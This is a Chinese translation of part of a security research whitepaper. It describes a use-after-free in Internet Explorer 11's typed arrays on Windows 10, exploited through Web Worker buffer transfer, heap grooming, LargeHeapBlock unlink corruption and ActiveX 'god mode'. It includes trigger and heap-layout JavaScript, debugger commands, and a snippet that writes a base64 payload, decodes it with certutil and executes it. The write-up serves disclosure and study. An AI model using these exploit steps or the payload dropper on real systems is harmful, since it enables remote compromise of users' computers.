原文链接:https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf
原作者:Moritz Jodeit
译:xd0ol1 (知道创宇404安全实验室)

这里为前3部分的翻译,不对之处还望多多指正:D

1 简介

运行在Windows 10上的最新版Internet Explorer 11中加入了大量的漏洞利用缓解措施,试图放缓攻击者的利用脚步,虽然微软最近还在大肆宣传他们的旗舰浏览器Edge,但在漏洞利用的保护上可以发现许多出现在Edge上的方案同样应用到了最新版的Internet Explorer 11中。这些措施的目的说到底只有一个,那就是尽可能的增加exploit开发的难度和时长。单就堆和内存保护来说,那些经常需要绕过的就有ASLR、DEP以及CFG。如果你能想办法绕过所有的这些防护,那么你就有机会去实现远程代码的执行,同时你还需要考虑如何进行沙箱的逃逸,这就要求用到更多的利用方法了,并且对于内核漏洞的情况你还会碰到内核利用方面相关的保护措施,例如内核态DEP、KASLR、SMEP、空指针解引用保护等。当然,如果你还想在开启微软EMET(Enhanced Mitigation Experience Toolkit)保护的情况下继续进行漏洞的利用,那么事情就变得更有意思了。

虽然上述种种让exploit的开发过程变得很困难,但借助合适的漏洞也是可以不需要过多考虑其中的大部分保护就能写出可行利用的,特别是如果你不按标准套路那样以shellcode的方式而是通过重用浏览器内部已有函数的方式去完成远程代码的执行。

本文将详细讨论我们发现的一个关于Internet Explorer 11中JavaScript实现方面的漏洞,以及我们如何成功借此写出一个能在Windows 10的IE 11(64位并启用EPM)上可靠利用的exploit,这其中包括了沙箱的逃逸和一种绕过当前最新EMET 5.5版本的方法,而且根本就不需要执行任何的shellcode或ROP代码。

作为微软“Mitigation Bypass Bounty”计划的一部分,我们凭借此工作获得了最高奖金10万美元,本文描述了其中用到的所有漏洞和技术,当然,这仅是我们提交内容中的一部分。

文中的分析是在打好补丁(2016.02)的Windows 10(10.0.10586)系统下进行的,并且如果不再另行声明的话都是基于的64位程序。

2 关于Typed Arrays的漏洞

本部分将介绍我们为了在IE 11沙箱中执行初始化代码而利用到的漏洞,为了便于理解我们首先需要了解两个基本的JavaScript结构,即Web Workers和Typed Arrays,这些内容会在接下来的两小节中讨论。

2.1 Web Workers

首先,漏洞利用到了Web Workers[1]。Web Workers API能允许Web内容在后台通过并发线程来执行JavaScript代码,需要注意,由于此并发线程是在另一全局上下文中运行的,因此它无法直接访问DOM。创建这样的worker是很简单的,只需将要执行的JavaScript文件名传给Worker()构造函数就行了。

对于主线程与worker线程间的通信,需要借助消息来传递,发送消息可以使用postMessage()[2]方法,而使用注册的onmessage事件则可以处理消息的接收。其中,postMessage()方法的第一个参数为要传输的对象,第二个参数是一可选对象数组,其所属权会从发送线程转移到发给的worker线程,此外,对象必须实现了Transferable[3]接口。

重点需要理解下所属权转移对象,它们在发送线程对应的上下文中将变得不可用(中性),而只能在接收的worker线程上下文中使用。

2.2 Typed Arrays

Typed arrays是类似数组的对象,它提供了访问原始二进制数据的方法,其实现介于“buffer”和“view”之间。而buffer是由ArrayBuffer[4]对象实现的,它存储着要访问的原始数据,但是,ArrayBuffer对象是不能直接用于访问数据的。

为了访问数据我们需要用到view,view可被认为是底层buffer的类型转换。所有常见数值类型的不同view都是可用的,如Uint8Array,Uint16Array或Uint32Array对象。

每个typed arrays对象相应的底层ArrayBuffer对象都为“buffer”属性,此属性是在构造typed arrays时设置好的,并且后面无法再进行更改。

2.3 漏洞细节

下面我们来看一下触发此漏洞的JavaScript代码:

var array;

function trigger() {  
    /* Create an empty Worker */
    var worker = new Worker("empty.js");

    /* Create new Int8Array typed array */
    array = new Int8Array(0x42);

    /*
    * Transfer ownership of the underlying ArrayBuffer to the worker,
    * effectively neutering it in this process.
    */
    worker.postMessage(0, [array.buffer]);

    /* Give the memory a chance to disappear... */
    setTimeout("boom()", 1000);
}

function boom() {  
    /* This writes into the freed ArrayBuffer object */
    array[0x4141] = 0x42;
}

代码首先创建了一个新的web worker和typed arrays。之后,postMessage()方法会将先前与typed arrays相关联的ArrayBuffer所属权转移给worker,这将使当前线程上下文中的ArrayBuffer不再可用,从而释放掉ArrayBuffer指向的内存空间。

但程序并不考虑当前上下文中仍然可访问的typed arrays是否还与ArrayBuffer相关联,所有通过typed arrays进行读写ArrayBuffer的操作仍将访问已释放掉的内存。

这就很好玩了,因为通过改变创建的typed arrays大小,我们能控制要释放的内存块大小,而后对于此释放空间上新申请的任意对象,我们就能获得完全的读写访问权了。因此,我们首先创建一个合适大小的typed arrays,然后通过将ArrayBuffer所属权转移给worker的方式来释放当前上下文中的内存,最后创建目标对象重用此释放掉的内存块。

3 漏洞利用

为了利用这个漏洞,我们首先需要找到这么一个对象,通过对它的操作要能迈出利用的第一步。 我们先来看看ArrayBuffer的内存实际分配在哪里。

通过查看jscript9!Js::JavascriptArrayBuffer::Create方法我们可以知道代码实际上使用了malloc()函数来分配jscript9!Js::ArrayBuffer::ArrayBuffer()构造方法中的内存空间。

push   24h  
mov    ecx, esi ; this  
call   Recycler::AllocFinalizedInlined  
push   ds:__imp__malloc ; void *(__cdecl *)(unsigned int)  
mov    esi, eax  
push   ebx ; struct Js::DynamicType *  
push   edi ; unsigned int  
mov    ecx, esi ; this  
call   Js::ArrayBuffer::ArrayBuffer  

这意味着我们用来分配有用对象的那块释放掉的内存位于CRT堆上,这就相对减少了潜在有用对象的数目,因为像普通数组或typed arrays那样的对象是分配在IE自定义堆上的。

3.1 查找利用对象

为了找到一些可操作的有用对象,我们将记录所有使用RtlAllocateHeap()函数进行内存分配的操作。

bp ntdll!RtlAllocateHeap "r $t0 = @rcx; r $t1 = @r8; gu; .printf \"Allocated %x bytes at %p on heap %x\\n\", @$t1, @rax, @$t0; g"  

我们注意到,当创建大量的大数组对象时,Internet Explorer将在CRT堆上分配一些大小相同的LargeHeapBlock对象。可以通过下面的断点进行观察:

bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0xee ".printf \"Created LargeHeapBlock %p\\n\", @rax; g"  

这些对象构成了IE自定义堆的基础,并且存储有自定义堆上分配的大型堆空间的管理信息,其中与我们后续讨论相关的一些重要字段定义如下:

LargeHeapBlock对象中存储着一些有用的指针,其中,偏移量0x8处的指针指向IE自定义堆中的数据,对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况,该指针直接指向了此时分配的一个Array对象。

由于我们可以很容易的通过创建大量Array对象来触发LargeHeapBlock对象的分配,并且我们事先知道了创建的LargeHeapBlock对象大小,所以我们选择操作此对象。

3.2 LargeHeapBlock对象的Corruption

由前文知道我们可以获得对CRT堆上LargeHeapBlock对象的读写访问权,我们还可以通过第一个QWORD字段确认是否真的在操作一个LargeHeapBlock对象,同时也能借此泄漏jscript9.dll模块的基址。下面的问题将是如何corrupt此对象以实现任意代码的执行。

在垃圾回收机制中,IE自定义堆上那些未使用的LargeHeapBlock对象将被收集起来,这个过程可以从下面LargeHeapBucket::SweepLargeHeapBlockList函数中的代码看到:

do {  
    next_heapblock = (struct LargeHeapBlock *)*((_QWORD *)current_heapblock + 8);
    lambda_cedc91d37b267b7dc38a2323cbf64555_::operator()((LargeHeapBucket **)&bucket, (__int64)current_heapblock);
    current_heapblock = next_heapblock;
} while (next_heapblock);

此代码将遍历LargeHeapBlock对象链表,对于访问到的每个LargeHeapBlock对象都调用一次operator()操作。

在operator()函数内部将执行标准的双向链表节点删除操作,其中前驱指针在偏移0x58处,后继指针在偏移0x60处。下面列出的就是通常用到的删除操作算法,当然这还不是完整的:

back = block->back;  
forward = block->forward;  
forward->back = back;  
back->forward = forward;  

这种删除操作没有提供类似现代堆分配中实现的任何保护机制,因此,通过操作LargeHeapBlock对象的前驱和后继指针我们可以触发对任意地址的任意QWORD写操作。我们唯一的限制是写入的值(后继指针)必须是一个有效的地址,其在后面存储前驱指针时会用到。

3.3 对内存的精心布局

正如前面部分所述,通过corrupt LargeHeapBlock对象在偏移0x58处的前驱指针和0x60处的后继指针,我们能够实现对所选地址的写入操作。但为了能够读写完整的地址空间以及泄露任意的JavaScript对象,我们需要构建一个更巧妙的内存布局。

Typed arrays是一个很有利用价值的目标,因其存储了指向实际数据缓冲区的内部指针以及该缓冲区的大小,通过重写数据缓冲区的指针和大小,我们就可以轻松获得对任意地址的读写访问权。当然了,需要先泄漏内存中typed arrays的地址,这样我们才能对其进行利用。

同时,LargeHeapBlock对象只是为大型的array对象所创建的,而非typed arrays,因为typed arrays的缓冲区是直接分配在CRT堆上的,因此,我们不能直接泄漏typed arrays的地址。但我们可以借助下面的方法,首先将一个整数数组和一个typed arrays数组放置在相邻的内存地址处并确保其中有一个typed arrays分配在整数数组之后,通过corrupt整数数组对象的长度就能访问到相邻的typed arrays数组了,这样,我们就可以泄漏出typed arrays的地址,然后重新利用corrupt后的整数数组来修改这个typed arrays。最终,我们想要的内存布局应如下图所示:

其中,左侧为CRT堆的分配,右侧则显示了所有IE自定义堆的分配。可以看到,LargeHeapBlock对象以及typed arrays的缓冲区都分配在CRT堆上,而array对象和typed arrays则分配在IE自定义堆上。

可以看到,LargeHeapBlock对象与IE自定义堆上的所有array对象存在关联,包括了两个整数数组和一个typed arrays数组。 通过从LargeHeapBlock对象中泄露的指针,我们一方面可以验证是否成功创建了所需的堆空间布局,另一方面可用于计算自定义堆中array对象间的确切距离,以便通过第一个整数数组去访问其它对象。

在自定义堆上所期望的内存布局为一整数数组,后面跟一typed arrays数组,再后面是一typed arrays的引用,最后是另一整数数组。我们将交替分配整数数组和typed arrays数组以期创建出所需的内存布局。下面的JavaScript代码能够完成此目的:

for (var i = 0; i < NUMBER_ARRAYS; i++) {  
    /* Allocate an array of integers */
    array_int[i] = new Array((ARRAY_LENGTH - 0x20)/4);

    /* Fill array with noticeable pattern to detect successful corruption */
    for (var j = 0; j < array_int[i].length; ++j) {
        array_int[i][j] = MAGIC_VALUE;
    }

    /* Create new typed array */
    var uint8array = new Uint8Array(4);

    /* Allocate an array of typed array references */
    array_obj[i] = new Array((ARRAY_LENGTH - 0x20)/4);
    for (var j = 0; j < array_obj[i].length; ++j) {
        array_obj[i][j] = uint8array;
    }
}

在程序进行多次分配后,我们可以检查下内存中是否创建了所需布局,如果没有我们就重复这个过程直至成功。

为了借助typed arrays来对整个地址空间进行读写访问,我们首先使用删除链表节点时的写操作corrupt自定义堆上第一个整数数组中的长度来扩展其大小,以此覆盖typed arrays数组以及typed arrays对象本身。而后通过corrupt后的整数数组从相邻的typed arrays数组中泄漏出指向typed arrays的指针,最终再次使用corrupt后的整数数组来重写typed arrays的大小和缓冲区指针。

布局中的第二个整数数组将用来确保第一个整数数组在大小扩展时的可靠性,避免corrupt掉非相关的内存。我们将在下节中给出进一步解释。

3.4 扩展第一个数组

最开始,我们需要corrupt第一个整数数组来扩展其大小以便覆盖接下来的对象。让我们看看内存中典型的Array对象是什么样的:

其中,红色显示的表示Array对象分配的字节数,紫色显示的为数组长度,蓝色显示的是数组的保留长度,灰色显示的值则表示各个数组元素。

JavaScript的数组是动态增长的,上面显示的数组中已经存储有42(0x2a)个元素,在不需要重新分配空间的情况下能够存储0x3ffa个元素。我们可以通过重写保留长度字段,使其能在分配的数组边界外进行写入,此外,为了能够读取此分配数组后的内存空间,我们还需要为索引赋一个大于初始长度的值来扩展数组长度。

因此,我们将通过链表节点删除操作来重写第一个整数数组的保留长度字段。为了做到这一点,我们将前驱指针设置为数组保留长度字段(减去8)的地址,并将后继指针设置为数组内第一个元素的地址,这样,我们就用一个指针覆盖了数组的保留长度字段,这能保证其长度变为一个比较大的值。并且相应的我们也覆盖了数组的第一个元素,这点是很有用的,因为我们可以使用它来找到corrupt后的JavaScript数组,即检查数组的第一个元素是否仍然为初始值。

虽然我们现在能借助这个corrupt后的数组对其后的内存进行写入了,但在读取内存时我们需要先设置好对应的索引值,这就是为什么我们要在末尾处放置第二个整数数组的原因了。在完成第一个整数数组长度字段的重写后,我们将通过其向第二个整数数组中的首个元素写入一特定值,可以很容易检测这个操作是否成功,这样就可确保我们能成功读写这两个数组间的所有地址空间了。

3.5 获取完整地址空间的访问权

既然我们能够对typed arrays数组进行读写访问了,那么我们就可以获得与此相关联的typed arrays指针了,并能检查此typed arrays是否真的分配在这两个整数数组之间。如果我们找不到这样的typed arrays,只需重复整个过程直至我们成功创建所需的内存布局。

借助第一个corrupt后的整数数组我们现在可以重写typed arrays的大小和缓冲区指针了,但这里有个限制,就是我们不能写大于0x7fffffff的值。为了仍能读写完整的地址空间,我们将大小设为最大值0x7fffffff,但缓冲区指针是按读写时的具体情况而动态设定的,即0x000'0000000到0x7ff'ffffffff中的某个值,设置该指针时需要用到两次写操作,最后调整相应的索引值即可。这样我们就间接绕过了此限制。

借助这种方式我们不仅可以读写完整的地址空间,而且还可以泄露出任意JavaScript对象的地址,只需将其置于typed arrays数组中,而后利用第一个整数数组访问相应的数组元素。

既然我们拥有了强大的内存读写访问权,那么下一步就要考虑覆盖些什么内容了。

3.6 再现上帝模式

我们知道最常见的代码执行利用方式是先泄漏对象的地址,而后重写其vftable指针来进行程序流程的控制,但是这种情况要求绕过CFG保护。因此,这里我们尝试采用Internet Explorer中已存在的那些功能,它要能允许我们执行任意的系统命令,也就是ActiveX控件。

ActiveX控件的滥用并不是什么新技术了,早前已由Yang Yu [5](腾讯玄武)和Yuki Chen [6](360Vulcan)公开提过了。在过去,决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志,即ScriptEngine对象中的SafetyOption标志,如果通过corrupt内存将此标志置为0,那么就能开启实例化和运行不安全ActiveX控件的能力。

在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖,以此缓解该技术的利用。但是,能否开启上帝模式仍由jscript9!ScriptEngine::CanCreateObject和jscript9!ScriptEngine::CanObjectRun这两个函数的返回值决定[7]。不同于SafetyOption标志的覆盖,我们可以将ScriptEngine对象中的security manager替换为内存中伪造的security manager,而伪造的vftable中和这两个函数相关的指针被替换为相应的ROP代码指针,这样可以强制jscript9!ScriptEngine::CanCreateObject和jscript9!ScriptEngine::CanObjectRun函数总是返回true。此方案已在Yuki写的ExpLib2库中实现了。

在过去上述方案能被很好的利用,直到CFG保护的引入才打破了ExpLib2中的实现方式。

然而,通过查看Windows 10当前jscript9.dll版本中的ScriptEngine::CanCreateObject函数你会发现负责保护hash的ScriptEngine::GetSafetyOptions函数已经不见了,因此SafetyOption标志将不再受到保护,过去写入单个空字节就能实现利用的技术似乎又可行了。

如果我们再看下ScriptEngine::CanCreateObject和ScriptEngine::CanObjectRun函数的开头,你会发现这两个函数检查的SafetyOption标志都位于ScriptEngine对象中的0x384偏移处。

将此标志置为0就足以使这两个函数都返回true了,而使用如下的JavaScript代码可以成功实例化一个WshShell对象并执行任意的系统命令:

var shell = new ActiveXObject("WScript.Shell");  
shell.Exec("notepad.exe");  

这就使得我们仍能在最近几个版本的Internet Explorer中开启上帝模式,它也变得更容易了,因为我们只需写入一个空字节而不必关心其它大多数的漏洞利用保护。

3.7 释放Payload

在开启上帝模式后,我们能有多种方式将可执行文件释放到磁盘上。一种可行的方法是使用ADODB.Stream,Massimiliano Tomassoli在他的exploit开发教程[8]中已经有很好的描述了,但此方法还需要进一步修改以绕过同源检测。

在我们的PoC中将转而使用Scripting.FileSystemObject把base64形式编码的payload写入磁盘,然后借助WScript.Shell执行certutil.exe来对base64进行解码,最后执行解码后的payload。

下述JavaScript代码片段说明了如何释放并执行payload:

/* Drop the base64 encoded payload on disk. */
var fso = new ActiveXObject("Scripting.FileSystemObject");  
var fh = fso.CreateTextFile(payload_b64_path);  
fh.Write(base64_payload);  
fh.Close();

/* Decode the stored payload using certutil.exe and execute it. */
var shell = new ActiveXObject("WScript.Shell");  
shell.Exec(certutil_path + " -decode " + payload_b64_path + " " + payload_path);  
shell.Exec(payload_path);  

4 参考

[1] W3C, "Web Workers, W3C Working Draft 24 September 2015," [Online]. Available:
https://www.w3.org/TR/workers/
[2] Mozilla, "MDN Worker.postMessage() Documentation," [Online]. Available:
https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage
[3] Mozilla, "MDN Transferable Documentation," [Online]. Available:
https://developer.mozilla.org/enUS/docs/Web/API/Transferable
[4] Mozilla, "MDN ArrayBuffer Documentation," [Online]. Available:
https://developer.mozilla.org/enUS/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
[5] Y. Yu, "Write Once, Pwn Anywhere," [Online]. Available:
https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
[6] Y. Chen, "Exploit IE Using Scriptable ActiveX Controls," [Online]. Available:
http://www.slideshare.net/xiong120/exploit-ie-using-scriptable-active-x-controls-version-english
[7] Fortinet, "Advanced Exploit Techniques Attacking the IE Script Engine," [Online]. Available:
https://blog.fortinet.com/2014/06/16/advanced-exploit-techniques-attacking-the-ie-script-engine
[8] M. Tomassoli, "Exploit Development Course," [Online]. Available:
http://expdevkiuhnm.rhcloud.com/2015/05/11/contents/